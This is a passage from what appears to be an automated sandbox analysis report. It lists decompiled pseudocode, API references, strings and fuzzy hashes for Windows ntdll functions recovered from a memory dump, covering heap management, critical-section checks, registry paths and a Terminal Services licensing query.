Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: LocaleName$Lcid$Parent
String ID:
API String ID: 3691507993-0
Opcode ID: 2b0318e5a74ed557a6c1844992dc99adeaec81083301d1da4d5fa890a83a2e8e
Instruction ID: 44d8bded8ec5e39e252df2b1ab1d99ee0cb633bed7c06e04cc480bd5ef9e62ba
Opcode Fuzzy Hash: 2b0318e5a74ed557a6c1844992dc99adeaec81083301d1da4d5fa890a83a2e8e
Instruction Fuzzy Hash: BD414F3651870A9FE311CF549880A5BB6E9FF85B58F21092EF990D7254EB30CE15CBA3

Uniqueness

Uniqueness Score: -1.00%

Function 6A944020, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 110
nativeCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E6A944020(intOrPtr* _a4) {
				char _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				void* _v32;
				intOrPtr* _t43;
				char _t69;
				intOrPtr _t76;
				intOrPtr* _t78;

				_t78 = _a4;
				_t69 = 0;
				_t76 =  *[fs:0x30];
				_v32 = 0;
				_v28 = 0;
				_v12 = 0;
				 *((intOrPtr*)(_t78 + 4)) =  *((intOrPtr*)(_t76 + 0xa4));
				 *((intOrPtr*)(_t78 + 8)) =  *((intOrPtr*)(_t76 + 0xa8));
				 *(_t78 + 0xc) =  *(_t76 + 0xac) & 0x0000ffff;
				 *((intOrPtr*)(_t78 + 0x10)) =  *((intOrPtr*)(_t76 + 0xb0));
				_t43 =  *((intOrPtr*)(_t76 + 0x1f4));
				if(_t43 == 0 ||  *_t43 == 0) {
					 *((short*)(_t78 + 0x14)) = 0;
				} else {
					if(E6A924921(_t78 + 0x14, 0x100, _t43) < 0) {
						 *((short*)(_t78 + 0x14)) = 0;
					}
					_t69 = 0;
				}
				if( *_t78 != 0x11c) {
					if( *_t78 != 0x124) {
						goto L10;
					}
					goto L4;
				} else {
					L4:
					 *((short*)(_t78 + 0x114)) =  *(_t76 + 0xaf) & 0x000000ff;
					 *(_t78 + 0x116) =  *(_t76 + 0xae) & 0x000000ff;
					 *(_t78 + 0x118) = E6A944190();
					if( *_t78 == 0x124) {
						 *(_t78 + 0x11c) = E6A944190() & 0x0001ffff;
					}
					 *((char*)(_t78 + 0x11a)) = _t69;
					if(E6A944710( &_v16) != 0) {
						 *((char*)(_t78 + 0x11a)) = _v16;
					}
					RtlInitUnicodeString( &_v32, L"TerminalServices-RemoteConnectionManager-AllowAppServerMode");
					_push( &_v24);
					_push(4);
					_push( &_v12);
					_push( &_v20);
					_push( &_v32);
					if(E6A95A9B0() < 0) {
						L10:
						return 0;
					} else {
						if(_v12 == 1) {
							if(_v20 != 4 || _v24 != 4) {
								goto L9;
							} else {
								goto L10;
							}
						}
						L9:
						 *(_t78 + 0x118) =  *(_t78 + 0x118) & 0x0000ffef | 0x00000100;
						if( *_t78 == 0x124) {
							 *(_t78 + 0x11c) =  *(_t78 + 0x11c) & 0xfffdffef | 0x00000100;
						}
						goto L10;
					}
				}
			}

0x6a94402a
0x6a94402d
0x6a944030
0x6a94403c
0x6a94403f
0x6a944042
0x6a94404b
0x6a944054
0x6a94405e
0x6a944067
0x6a94406a
0x6a944072
0x6a94407f
0x6a9863db
0x6a9863e8
0x6a9863ec
0x6a9863ec
0x6a9863f0
0x6a9863f0
0x6a944089
0x6a94414e
0x00000000
0x00000000
0x00000000
0x6a94408f
0x6a94408f
0x6a94409b
0x6a9440ac
0x6a9440bd
0x6a9440c6
0x6a94415f
0x6a94415f
0x6a9440cf
0x6a9440dd
0x6a9440e2
0x6a9440e2
0x6a9440f1
0x6a9440f9
0x6a9440fa
0x6a9440ff
0x6a944103
0x6a944107
0x6a94410f
0x6a94413f
0x6a944145
0x6a944111
0x6a944115
0x6a9863fb
0x00000000
0x6a98640b
0x00000000
0x6a98640b
0x6a9863fb
0x6a94411b
0x6a944132
0x6a94413b
0x6a944177
0x6a944177
0x00000000
0x6a94413b
0x6a94410f

APIs

RtlGetSuiteMask.1105(00000000,00000000,?,?,?,?,?,\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion), ref: 6A9440B3
RtlGetNtProductType.1105(?,00000000,00000000,?,?,?,?,?,\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion), ref: 6A9440D6
RtlInitUnicodeString.1105(?,TerminalServices-RemoteConnectionManager-AllowAppServerMode,?,00000000,00000000,?,?,?,?,?,\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion), ref: 6A9440F1
ZwQueryLicenseValue.1105(?,?,?,00000004,?,?,TerminalServices-RemoteConnectionManager-AllowAppServerMode,?,00000000,00000000,?,?,?,?,?,\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion), ref: 6A944108
RtlGetSuiteMask.1105(00000000,00000000,?,?,?,?,?,\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion), ref: 6A944155

Strings

TerminalServices-RemoteConnectionManager-AllowAppServerMode, xrefs: 6A9440E8

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: MaskSuite$InitLicenseProductQueryStringTypeUnicodeValue
String ID: TerminalServices-RemoteConnectionManager-AllowAppServerMode
API String ID: 2592082795-996340685
Opcode ID: ea338c667b7f6eae5312fc28b1e4bcbaff944ae242535305b2f4e5ac423a8863
Instruction ID: 59cdf4a15c11f3b9e63b164f1c70ead27f20dc2317eb2bed60bdcc1f538523cc
Opcode Fuzzy Hash: ea338c667b7f6eae5312fc28b1e4bcbaff944ae242535305b2f4e5ac423a8863
Instruction Fuzzy Hash: 4B419275A4474A9FD724DFA4C4406E6B7F8EF99300F20482ED5A9C7200EB30E555CF91

Uniqueness

Uniqueness Score: -1.00%

Function 6A92A3E0, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 72
nativeCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E6A92A3E0(struct _EXCEPTION_RECORD _a4) {
				signed int _v8;
				char _v88;
				intOrPtr _v92;
				short _v94;
				char _v96;
				void* _v100;
				char _v104;
				void* __edi;
				void* __esi;
				intOrPtr _t31;
				void* _t39;
				void* _t44;
				void* _t45;
				short _t46;
				void* _t47;
				struct _EXCEPTION_RECORD _t48;
				signed int _t49;

				_v8 =  *0x6aa0d360 ^ _t49;
				_t48 = _a4;
				_push( &_v104);
				_push(0x50);
				_push( &_v88);
				_push(1);
				_push(0xfffffffa);
				_t25 = E6A959710();
				_t50 = _t25;
				if(_t25 >= 0 && E6A92A4B0(_t50, _v88,  &_v100) >= 0) {
					_push(_t45);
					_t46 = _v100;
					 *_t48 = 0;
					 *((short*)(_t48 + 2)) = _t46 + 0x22;
					_t31 = E6A933A1C(_t46 + 0x00000022 & 0x0000ffff);
					 *((intOrPtr*)(_t48 + 4)) = _t31;
					_t52 = _t31;
					if(_t31 == 0) {
						_t25 = 0xc0000017;
					} else {
						RtlAppendUnicodeToString(_t48, L"\\REGISTRY\\USER\\");
						_v96 = 0;
						_v94 = _t46;
						_v92 =  *((intOrPtr*)(_t48 + 4)) + (( *_t48 & 0x0000ffff) >> 1) * 2;
						_t47 = E6A92A500(_t39, _t48, _t52,  &_v96, _v88, 0);
						if(_t47 < 0) {
							RtlFreeUnicodeString(_t48);
						} else {
							 *_t48 =  *_t48 + _v96;
						}
						_t25 = _t47;
					}
					_pop(_t45);
				}
				return E6A95B640(_t25, _t39, _v8 ^ _t49, _t44, _t45, _t48);
			}

0x6a92a3ef
0x6a92a3f3
0x6a92a3f9
0x6a92a3fa
0x6a92a3ff
0x6a92a400
0x6a92a402
0x6a92a404
0x6a92a409
0x6a92a40b
0x6a92a41d
0x6a92a41e
0x6a92a423
0x6a92a429
0x6a92a431
0x6a92a436
0x6a92a439
0x6a92a43b
0x6a92a48f
0x6a92a43d
0x6a92a443
0x6a92a44d
0x6a92a45b
0x6a92a462
0x6a92a46e
0x6a92a472
0x6a92a497
0x6a92a474
0x6a92a478
0x6a92a478
0x6a92a47b
0x6a92a47b
0x6a92a47d
0x6a92a47d
0x6a92a48c

APIs

ZwQueryInformationToken.1105(000000FA,00000001,?,00000050,?,?), ref: 6A92A404
RtlLengthSidAsUnicodeString.1105(?,?,000000FA,00000001,?,00000050,?,?), ref: 6A92A414

Part of subcall function 6A92A4B0: RtlValidSid.1105(?,?,?,6A92A419,?,?,000000FA,00000001,?,00000050,?,?), ref: 6A92A4BA

RtlFreeUnicodeString.1105(?,?,?,00000000,?,\REGISTRY\USER\,?,02000000,?,?,000000FA,00000001,?,00000050,?,?), ref: 6A92A497

Part of subcall function 6A933A1C: RtlAllocateHeap.1105(?,00000000,00000000,?,6A9567C0,0000004E,00000000,?,6A9A83BE,?,?), ref: 6A933A2F

RtlAppendUnicodeToString.1105(?,\REGISTRY\USER\,?,02000000,?,?,000000FA,00000001,?,00000050,?,?), ref: 6A92A443

Part of subcall function 6A92A990: memmove.1105(00000000,00000050,00000052,?,?,00000000,?,?,6A92A448,?,\REGISTRY\USER\,?,02000000,?,?,000000FA), ref: 6A92A9E2

RtlConvertSidToUnicodeString.1105(?,?,00000000,?,\REGISTRY\USER\,?,02000000,?,?,000000FA,00000001,?,00000050,?,?), ref: 6A92A469

Part of subcall function 6A92A500: RtlValidSid.1105(00000050,?), ref: 6A92A523
Part of subcall function 6A92A500: wcscpy_s.1105(?,00000100,S-1-,?,00000050,?), ref: 6A92A54A

Strings

\REGISTRY\USER\, xrefs: 6A92A43D

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: StringUnicode$Valid$AllocateAppendConvertFreeHeapInformationLengthQueryTokenmemmovewcscpy_s
String ID: \REGISTRY\USER\
API String ID: 3017593230-2169711131
Opcode ID: 913a28e0a4b74b90f2bc0fed83f51b412001fb94da548204c41e47cd4e1c739e
Instruction ID: ad1fbae91b94bc2b81072386bcc910edd67a01a3ced5c3a8390ab0d93cf09ce9
Opcode Fuzzy Hash: 913a28e0a4b74b90f2bc0fed83f51b412001fb94da548204c41e47cd4e1c739e
Instruction Fuzzy Hash: B921D43291024DAEEB10CFE8CC059AEB3F9AF14304F22452AE951DB644EF30D905CB50

Uniqueness

Uniqueness Score: -1.00%

Function 6A93B8E4, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E6A93B8E4(unsigned int __edx) {
				void* __ecx;
				void* __edi;
				intOrPtr* _t16;
				intOrPtr _t18;
				void* _t27;
				void* _t28;
				unsigned int _t30;
				intOrPtr* _t31;
				unsigned int _t38;
				void* _t39;
				unsigned int _t40;

				_t40 = __edx;
				_t39 = _t28;
				if( *0x6aa08748 >= 1) {
					__eflags = (__edx + 0x00000fff & 0xfffff000) - __edx;
					if((__edx + 0x00000fff & 0xfffff000) != __edx) {
						_t18 =  *[fs:0x30];
						__eflags =  *(_t18 + 0xc);
						if( *(_t18 + 0xc) == 0) {
							_push("HEAP: ");
							E6A91B150();
						} else {
							E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
						}
						_push("(ROUND_UP_TO_POWER2(Size, PAGE_SIZE) == Size)");
						E6A91B150();
						__eflags =  *0x6aa07bc8;
						if(__eflags == 0) {
							E6A9D2073(_t27, 1, _t39, __eflags);
						}
					}
				}
				_t38 =  *(_t39 + 0xb8);
				if(_t38 != 0) {
					_t13 = _t40 >> 0xc;
					__eflags = _t13;
					while(1) {
						__eflags = _t13 -  *((intOrPtr*)(_t38 + 4));
						if(_t13 <  *((intOrPtr*)(_t38 + 4))) {
							break;
						}
						_t30 =  *_t38;
						__eflags = _t30;
						if(_t30 != 0) {
							_t38 = _t30;
							continue;
						}
						_t13 =  *((intOrPtr*)(_t38 + 4)) - 1;
						__eflags =  *((intOrPtr*)(_t38 + 4)) - 1;
						break;
					}
					return E6A93AB40(_t39, _t38, 0, _t13, _t40);
				} else {
					_t31 = _t39 + 0x8c;
					_t16 =  *_t31;
					while(_t31 != _t16) {
						__eflags =  *((intOrPtr*)(_t16 + 0x14)) - _t40;
						if( *((intOrPtr*)(_t16 + 0x14)) >= _t40) {
							return _t16;
						}
						_t16 =  *_t16;
					}
					return _t31;
				}
			}

0x6a93b8f0
0x6a93b8f2
0x6a93b8f4
0x6a982c4e
0x6a982c50
0x6a982c56
0x6a982c5c
0x6a982c60
0x6a982c7f
0x6a982c84
0x6a982c62
0x6a982c77
0x6a982c7c
0x6a982c8a
0x6a982c8f
0x6a982c94
0x6a982c9c
0x6a982ca5
0x6a982ca5
0x6a982c9c
0x6a982c50
0x6a93b8fa
0x6a93b902
0x6a93b921
0x6a93b921
0x6a93b924
0x6a93b924
0x6a93b927
0x00000000
0x00000000
0x6a93b929
0x6a93b92b
0x6a93b92d
0x6a93b940
0x00000000
0x6a93b940
0x6a93b932
0x6a93b932
0x00000000
0x6a93b932
0x00000000
0x6a93b904
0x6a93b904
0x6a93b90a
0x6a93b90c
0x6a93b916
0x6a93b919
0x6a93b915
0x6a93b915
0x6a93b91b
0x6a93b91b
0x00000000
0x6a93b910

APIs

DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?,-00000020,?,6A93B7BF,-00010018,?,00000000,?,-00000018,?), ref: 6A982C77
DbgPrint.1105((ROUND_UP_TO_POWER2(Size, PAGE_SIZE) == Size),?,-00000020,?,6A93B7BF,-00010018,?,00000000,?,-00000018,?), ref: 6A982C8F

Strings

HEAP: , xrefs: 6A982C7F
(ROUND_UP_TO_POWER2(Size, PAGE_SIZE) == Size), xrefs: 6A982C8A
HEAP[%wZ]: , xrefs: 6A982C72

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print
String ID: (ROUND_UP_TO_POWER2(Size, PAGE_SIZE) == Size)$HEAP: $HEAP[%wZ]:
API String ID: 3558298466-2558761708
Opcode ID: 0163f27b6cd83b77f8bf3d173cc0c78938896c0eed6a1f44eb85a975ba4e8d38
Instruction ID: 49e636ffd2551c214b2c3a63448a49eda2da912cec9fac2604a815e938f9eefb
Opcode Fuzzy Hash: 0163f27b6cd83b77f8bf3d173cc0c78938896c0eed6a1f44eb85a975ba4e8d38
Instruction Fuzzy Hash: 0211D0313089269FD768CA18C488B26B3BAEF41728F36856AE05BCF353DF70D881C641

Uniqueness

Uniqueness Score: -1.00%

Function 6A919240, Relevance: 10.6, APIs: 7, Instructions: 63
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E6A919240(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr* _t46;
				void* _t48;
				intOrPtr* _t60;
				void* _t61;
				intOrPtr _t62;
				void* _t65;
				void* _t66;
				void* _t68;

				_push(0xc);
				_push(0x6a9ef708);
				E6A96D08C(__ebx, __edi, __esi);
				_t65 = __ecx;
				 *((intOrPtr*)(_t68 - 0x1c)) = __ecx;
				if( *(__ecx + 0x24) != 0) {
					_push( *(__ecx + 0x24));
					E6A9595D0();
					 *(__ecx + 0x24) =  *(__ecx + 0x24) & 0x00000000;
				}
				L6();
				L6();
				_push( *((intOrPtr*)(_t65 + 0x28)));
				E6A9595D0();
				RtlFreeHeap( *( *[fs:0x30] + 0x18),  *0x6aa084c4 + 0xc0000,  *(_t65 + 0x10));
				RtlFreeHeap( *( *[fs:0x30] + 0x18),  *0x6aa084c4 + 0xc0000,  *(_t65 + 0x1c));
				E6A932280(RtlFreeHeap( *( *[fs:0x30] + 0x18),  *0x6aa084c4 + 0xc0000,  *(_t65 + 0x20)), 0x6aa086b4);
				 *(_t68 - 4) =  *(_t68 - 4) & 0x00000000;
				_t46 = _t65 + 0xe8;
				_t62 =  *_t46;
				_t60 =  *((intOrPtr*)(_t46 + 4));
				if( *((intOrPtr*)(_t62 + 4)) != _t46 ||  *_t60 != _t46) {
					_t61 = 3;
					asm("int 0x29");
					_push(_t65);
					_t66 = _t61;
					_push( *(_t66 + 0x14));
					E6A9595D0();
					_push( *(_t66 + 0x10));
					 *(_t66 + 0x38) =  *(_t66 + 0x38) & 0x00000000;
					_t48 = E6A9595D0();
					 *(_t66 + 0x14) =  *(_t66 + 0x14) & 0x00000000;
					 *(_t66 + 0x10) =  *(_t66 + 0x10) & 0x00000000;
					return _t48;
				} else {
					 *_t60 = _t62;
					 *((intOrPtr*)(_t62 + 4)) = _t60;
					 *(_t68 - 4) = 0xfffffffe;
					E6A919325();
					return E6A96D0D1(RtlFreeHeap( *( *[fs:0x30] + 0x18),  *0x6aa084c4 + 0xc0000, _t65));
				}
			}

0x6a919240
0x6a919242
0x6a919247
0x6a91924c
0x6a91924e
0x6a919255
0x6a919257
0x6a91925a
0x6a91925f
0x6a91925f
0x6a919266
0x6a919271
0x6a919276
0x6a919279
0x6a919295
0x6a9192b1
0x6a9192d7
0x6a9192dc
0x6a9192e0
0x6a9192e6
0x6a9192e8
0x6a9192ee
0x6a919332
0x6a919333
0x6a919337
0x6a919338
0x6a91933a
0x6a91933d
0x6a919342
0x6a919345
0x6a919349
0x6a91934e
0x6a919352
0x6a919357
0x6a9192f4
0x6a9192f4
0x6a9192f6
0x6a9192f9
0x6a919300
0x6a919324
0x6a919324

APIs

ZwClose.1105(00000000,6A9EF708,0000000C,6A919219), ref: 6A91925A
ZwClose.1105(00000000,6A9EF708,0000000C,6A919219), ref: 6A919279
RtlFreeHeap.1105(?,?,?,00000000,6A9EF708,0000000C,6A919219), ref: 6A919295
RtlFreeHeap.1105(?,?,00000000,?,?,?,00000000,6A9EF708,0000000C,6A919219), ref: 6A9192B1
RtlFreeHeap.1105(?,?,?,?,?,00000000,?,?,?,00000000,6A9EF708,0000000C,6A919219), ref: 6A9192CD
RtlAcquireSRWLockExclusive.1105(6AA086B4,?,?,?,?,?,00000000,?,?,?,00000000,6A9EF708,0000000C,6A919219), ref: 6A9192D7
RtlFreeHeap.1105(?,?,?,6AA086B4,?,?,?,?,?,00000000,?,?,?,00000000,6A9EF708,0000000C), ref: 6A91931A

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeHeap$Close$AcquireExclusiveLock
String ID:
API String ID: 3557490396-0
Opcode ID: d86ca2cd03a1527784dd535fea96c96081fe3e68f8c436e480bf5a8176d48a0a
Instruction ID: 12f48ade377d062b992f203cc7bf81b7760e6fef77aa3fcd9321fede927f2535
Opcode Fuzzy Hash: d86ca2cd03a1527784dd535fea96c96081fe3e68f8c436e480bf5a8176d48a0a
Instruction Fuzzy Hash: 8D215971141A04DFC761DF28CA44F19B7F9FF28308F224569E00A876A2CF35EA52CB48

Uniqueness

Uniqueness Score: -1.00%

Function 6A9E4015, Relevance: 10.5, APIs: 7, Instructions: 49
memoryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E6A9E4015(signed int __eax, void* __ecx) {
				void* __ebx;
				void* __edi;
				char _t10;
				void* _t18;
				void* _t28;

				_push(__ecx);
				_t28 = __ecx;
				asm("lock xadd [edi+0x24], eax");
				_t10 = (__eax | 0xffffffff) - 1;
				if(_t10 == 0) {
					_t32 = __ecx + 0x1c;
					E6A932280(_t10, __ecx + 0x1c);
					 *((intOrPtr*)(_t28 + 0x20)) =  *((intOrPtr*)( *[fs:0x18] + 0x24));
					E6A932280( *((intOrPtr*)( *[fs:0x18] + 0x24)), 0x6aa086ac);
					L6A91F900(0x6aa086d4, _t28);
					E6A92FFB0(0x6aa086ac, _t28, 0x6aa086ac);
					 *((intOrPtr*)(_t28 + 0x20)) = 0;
					E6A92FFB0(0, _t28, _t32);
					_t18 =  *(_t28 + 0x94);
					if(_t18 != 0) {
						RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t18);
					}
					_t10 = RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t28);
				}
				return _t10;
			}

0x6a9e401a
0x6a9e401e
0x6a9e4023
0x6a9e4028
0x6a9e4029
0x6a9e402b
0x6a9e402f
0x6a9e4043
0x6a9e4046
0x6a9e4051
0x6a9e4057
0x6a9e405f
0x6a9e4062
0x6a9e4067
0x6a9e406f
0x6a9e407c
0x6a9e407c
0x6a9e408c
0x6a9e408c
0x6a9e4097

APIs

RtlAcquireSRWLockExclusive.1105(00000001,?,000000A0,?,?,?,6A986D7C,00000001,00000001,00000000,?,?,6A944E1B,0000000F), ref: 6A9E402F
RtlAcquireSRWLockExclusive.1105(6AA086AC,00000001,?,000000A0,?,?,?,6A986D7C,00000001,00000001,00000000,?,?,6A944E1B,0000000F), ref: 6A9E4046

Part of subcall function 6A932280: RtlDllShutdownInProgress.1105(00000000), ref: 6A9322BA
Part of subcall function 6A932280: ZwWaitForAlertByThreadId.1105(?,00000000,?,?,?,?,?,?,?,00000000), ref: 6A9323A3

RtlRbRemoveNode.1105(6AA086D4,?,6AA086AC,00000001,?,000000A0,?,?,?,6A986D7C,00000001,00000001,00000000,?,?,6A944E1B), ref: 6A9E4051
RtlReleaseSRWLockExclusive.1105(6AA086AC,6AA086D4,?,6AA086AC,00000001,?,000000A0,?,?,?,6A986D7C,00000001,00000001,00000000,?,?), ref: 6A9E4057
RtlReleaseSRWLockExclusive.1105(00000001,6AA086AC,6AA086D4,?,6AA086AC,00000001,?,000000A0,?,?,?,6A986D7C,00000001,00000001,00000000,?), ref: 6A9E4062
RtlFreeHeap.1105(?,00000000,?,00000001,6AA086AC,6AA086D4,?,6AA086AC,00000001,?,000000A0,?,?,?,6A986D7C,00000001), ref: 6A9E407C
RtlFreeHeap.1105(?,00000000,?,00000001,6AA086AC,6AA086D4,?,6AA086AC,00000001,?,000000A0,?,?,?,6A986D7C,00000001), ref: 6A9E408C

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$AcquireFreeHeapRelease$AlertNodeProgressRemoveShutdownThreadWait
String ID:
API String ID: 83280457-0
Opcode ID: 0add2be75fe5ea20f169583db37424d45dd0abd2fc681e56fb4477d62515b4eb
Instruction ID: 4f67d6f2bd8f5b8c782777f9c03f181071488a861f77b85531e20300b9a42ec1
Opcode Fuzzy Hash: 0add2be75fe5ea20f169583db37424d45dd0abd2fc681e56fb4477d62515b4eb
Instruction Fuzzy Hash: 52018472201659BFD3119B69CD84E53B7BCFF99658F120225F50887A12DF34EC51CAE4

Uniqueness

Uniqueness Score: -1.00%

Function 6A9AFF10, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44timeCOMMON

Download Yara Rule

APIs

DbgPrintEx.1105(00000065,00000000,NTDLL: Calling thread (%p) not owner of CritSect: %p Owner ThreadId: %p,?,000000FF,?,6A9F09B0,00000014,6A92EBD8,?,?,?,00000000,?,6A911E03,?), ref: 6A9AFF69
RtlDecodePointer.1105(6A9F09B0,00000014,6A92EBD8,?,?,?,00000000,?,6A911E03,?,6A911D6E,?), ref: 6A9AFF78
RtlRaiseStatus.1105(C0000264,6A9F09B0,00000014,6A92EBD8,?,?,?,00000000,?,6A911E03,?,6A911D6E,?), ref: 6A9AFF89
RtlDebugPrintTimes.1105(?,C0000264,6A9F09B0,00000014,6A92EBD8,?,?,?,00000000,?,6A911E03,?,6A911D6E,?), ref: 6A9AFF9A
RtlpNotOwnerCriticalSection.1105 ref: 6A9AFFB1

Strings

NTDLL: Calling thread (%p) not owner of CritSect: %p Owner ThreadId: %p, xrefs: 6A9AFF60

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print$CriticalDebugDecodeOwnerPointerRaiseRtlpSectionStatusTimes
String ID: NTDLL: Calling thread (%p) not owner of CritSect: %p Owner ThreadId: %p
API String ID: 2675442896-1911121157
Opcode ID: 3eafd8a9591c71da6e695849a7a4ead58ec2611b6d689688039e1e77c4e7d697
Instruction ID: ae53c18a5ae380c6db754fe4ae66316aa44b094365fcac04ba7fd67ce584fcec
Opcode Fuzzy Hash: 3eafd8a9591c71da6e695849a7a4ead58ec2611b6d689688039e1e77c4e7d697
Instruction Fuzzy Hash: 5711AD71910654EFDF12DB50C948F98BBB1FF09718F328055E608AB2A2CF39DA81DB50

Uniqueness

Uniqueness Score: -1.00%

Function 6A94DA88, Relevance: 9.3, APIs: 6, Instructions: 253
memoryCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E6A94DA88(void* __ebx, signed int __ecx, signed int* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t111;
				signed int _t116;
				void* _t120;
				signed int* _t124;
				signed int _t125;
				signed int* _t126;
				void* _t132;
				signed int* _t135;
				signed int _t140;
				intOrPtr _t148;
				signed int _t150;
				signed char _t158;
				signed int _t159;
				signed short* _t160;
				void* _t162;
				signed int _t166;
				signed short* _t167;
				void* _t168;
				signed int _t170;
				intOrPtr* _t171;
				signed int* _t173;
				signed int* _t174;
				signed int _t176;
				signed int _t179;
				void* _t183;
				signed int _t185;
				signed int _t187;
				signed int _t188;
				signed int _t189;
				signed int _t190;
				void* _t191;

				_push(0x20);
				_push(0x6a9f0268);
				E6A96D08C(__ebx, __edi, __esi);
				 *(_t191 - 0x1c) = __edx;
				 *(_t191 - 0x24) = __ecx;
				if(__ecx == 0) {
					L23:
					_t111 = 0;
					L22:
					return E6A96D0D1(_t111);
				}
				_t158 =  *(_t191 + 0x14);
				if((_t158 & 0xffffffcc) != 0 || (_t158 & 0x00000003) == 3) {
					goto L23;
				} else {
					_t116 = _t158 & 0x00000001;
					 *(_t191 - 0x28) = _t116;
					if(_t116 != 0) {
						if(__edx != 0) {
							goto L4;
						} else {
							goto L23;
						}
					}
					L4:
					E6A932280(_t116, 0x6aa0861c);
					_t185 = 0;
					 *((intOrPtr*)(_t191 - 4)) = 0;
					_t187 = 0;
					while(1) {
						 *(_t191 - 0x20) = _t187;
						if(_t187 >=  *0x6aa06da4) {
							break;
						}
						_t170 = _t187 << 5;
						 *(_t191 - 0x2c) = _t170;
						_t171 =  *0x6aa06da0 + _t170;
						if( *((intOrPtr*)(_t171 + 4)) ==  *(_t191 - 0x24)) {
							if((_t158 & 0x00000002) != 0) {
								if( *((intOrPtr*)(_t171 + 8)) != _t185) {
									L21:
									 *((intOrPtr*)(_t191 - 4)) = 0xfffffffe;
									E6A94DCE8();
									_t111 = 1;
									goto L22;
								}
							}
							if( *(_t191 - 0x28) == 0 ||  *(_t171 + 0x10) == 0) {
								goto L8;
							} else {
								_t148 =  *((intOrPtr*)(_t191 + 0x10));
								if(_t148 == 0 ||  *_t171 != _t148) {
									goto L8;
								} else {
									_t150 =  *( *(_t191 - 0x1c));
									if(_t150 == 0xffffffff) {
										L57:
										_t183 =  *0x6aa06da0;
										_t190 =  *(_t191 - 0x2c);
										 *( *(_t191 - 0x1c)) =  *(_t190 + _t183 + 0x10);
										_t173 =  *(_t191 + 8);
										if(_t173 != 0) {
											 *_t173 =  *(_t190 + _t183 + 0x14);
										}
										goto L21;
									} else {
										if((_t158 & 0x00000020) == 0) {
											_push(_t150 & 0xfffffffc);
											_push(0xffffffff);
											E6A9597A0();
											_t174 =  *(_t191 + 8);
											if(_t174 != 0) {
												_push( *_t174);
												E6A9595D0();
											}
											goto L57;
										}
										if( *(_t171 + 0x10) == 0xffffffff) {
